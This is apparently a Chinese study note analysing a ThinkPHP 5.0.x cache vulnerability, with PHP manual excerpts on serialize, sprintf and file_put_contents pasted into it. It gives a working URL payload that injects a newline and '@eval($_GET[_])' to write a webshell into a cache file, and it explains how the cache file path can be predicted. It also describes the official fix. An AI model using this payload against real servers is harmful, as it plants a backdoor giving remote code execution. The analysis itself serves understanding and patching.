漏洞概要
本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 。
漏洞环境
ThinkPHP5-5.0.10
将 application/index/controller/Index.php 文件代码设置如下:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
显示Cache success,没看懂
192.168.10.128/tp5010/public/index.php?username=mochazz123%0d%0a@eval($_GET[_]);//
即可将 webshell 写入缓存文件。
可以看到缓存文件已经成功写入
漏洞分析
我们跟进 Cache 类的 set 方法,发现其先通过单例模式 init 方法,创建了一个类实例,该类由 cache 的配置项 type 决定,默认情况下其值为 File 。在本例中, self::$handler 即为 think\cache\driver\File 类实例。
在 thinkphp/library/think/cache/driver/ 目录下,我们可以看到 Thinkphp5 支持的几种缓存驱动类。我们接着上面的分析,程序调用 think\cache\driver\File 类的 set 方法。可以看到 data 数据没有经过任何处理,只是序列化后拼接存储在文件中,这里的 $this->options['data_compress'] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。
现在我们就来看看缓存文件的名字是如何生成的。从上一张图片 第142行 ,我们可以看到文件名是通过调用 getCacheKey 方法获得的,我们跟进该方法。可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 name )。程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。如果应用程序还设置了前缀 $this->options['prefix'] ,那么缓存文件还将多一个上级目录。
data:"s"表示字符串;20表示长度,
php 序列化的字母标识_php中 序列化字符串以o开头跟以c开头有什么区别-CSDN博客
serialize
(PHP 4, PHP 5, PHP 7, PHP 8)
serialize — 生成值的可存储表示
说明
serialize(mixed $value
): string
生成值的可存储表示。
这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。
参数
value
要序列化的值。serialize() 处理所有的类型,除了 resource 类型和一些 object(见下面的注释)。serialize() 甚至可以序列化包含对自身引用的数组。数组/对象内的循环引用也会被存储。其它任何引用都会丢失。
序列化对象时,PHP 将尝试在序列化之前调用成员函数 __serialize() 或 __sleep()。这是为了允许对象在序列化之前进行最后一分钟的清理等等。同样,当使用 unserialize() 恢复对象时,会调用 __unserialize() 或 __wakeup() 成员函数。
注意:
对象的 private 成员会在名前添加类名;protected 成员会在名前添加“*”;这些前置值在两边都有 null 字节。
返回值
返回字符串,包含 value
的字节流表示,可以存储在任何地方。
注意这可能是包含 null 字节的二进制字符串,需要按原样存储和处理。例如,serialize() 的输出通常应该存储在数据库中 的 BLOB 字段,而不是 CHAR 或 TEXT 字段。
示例
<?php
// $sssion_data 是多维数组,包含当前用户的
// 会话信息。可以在请求结束时使用 serialize()
// 将其存储在数据库中。
$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn,
"UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata)) {
$stmt = odbc_prepare($conn,
"INSERT INTO sessions (id, data) VALUES(?, ?)");
if (!odbc_execute($stmt, array_reverse($sqldata))) {
/* Something went wrong.. */
}
}
?>
注释
注意:
注意许多内置 PHP 对象不能序列化。然而,要么实现 Serializable 接口,要么实现 __serialize()/__unserialize() 或 __sleep()/__wakeup() 魔术方法的则是可以的。如果内部类不满足这些其中任意一个,则就不能可靠的进行序列化。
上述规则有一些历史例外,一些内部对象可以在不实现接口或公开方法的情况下,使其序列化。
%0使用0来填充12位,
d |
参数视为整数并以(有符号)十进制数字呈现。 |
sprintf
(PHP 4, PHP 5, PHP 7, PHP 8)
sprintf — 返回格式化字符串
说明
sprintf(string $format
, mixed ...$values
): string
返回一个根据格式化字符串 format
生成的字符串。
示例 参数替换
支持按顺序用参数替换格式字符串里的占位符。
<?php
$num = 5;
$location = 'tree';
$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>
以上示例会输出:
There are 5 monkeys in the tree
假设,我们想把它国际化,在一个单独的文件中创建格式字符串,我们将它重写为:
<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>
我们现在有一个问题。 格式字符串中占位符的顺序与代码中参数的顺序不匹配。 我们希望保持代码原样,并在格式字符串中简单地指出占位符引用的参数。 我们可以这样写格式化字符串:
<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>
另外一个好处是占位符可以重复使用,而无需在代码中添加更多参数。
<?php
$format = 'The %2$s contains %1$d monkeys.
That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>
file_put_contents
(PHP 5, PHP 7, PHP 8)
file_put_contents — 将数据写入文件
说明
file_put_contents(
string $filename
,
mixed $data
,
int $flags
= 0,
?resource $context
= null
): int|false
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
如果 filename
不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND
flag。
参数
filename
要被写入数据的文件名。
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。
如果 data
指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data
可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))
。
flags
flags
的值可以是 以下 flag 使用 OR (|
) 运算符进行的组合。
Flag | 描述 |
---|---|
FILE_USE_INCLUDE_PATH |
在 include 目录里搜索 filename 。 更多信息可参见 include_path。 |
FILE_APPEND |
如果文件 filename 已经存在,追加数据而不是覆盖。 |
LOCK_EX |
在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite() 中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 不同。 |
context
一个 context 资源。
返回值
该函数将返回写入到文件内数据的字节数,失败时返回false
警告
此函数可能返回布尔值 false
,但也可能返回等同于 false
的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。
示例
<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>
至此,我们已将本次漏洞分析完毕,接下来还想说说关于该漏洞的一些细节。首先,这个漏洞要想利用成功,我们得知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便我们写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options['prefix'] 的话,在没有源码的情况下,我们还是无法获得 webshell 的准确路径
解释:
?username=mochazz123%0d%0a@eval($_GET[_]);//
这里的%0d%0a十六进制代表" \r \n "换行符, 而<?php\n//会将我们的内容都给注释掉,为了能跳出注释,这里使用换行,而我们输入最后的注释是要注释掉后边产生要闭合的' "; '
漏洞修复
官方的修复方法是:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。
现在明白刚开始提示的Cache success了。。。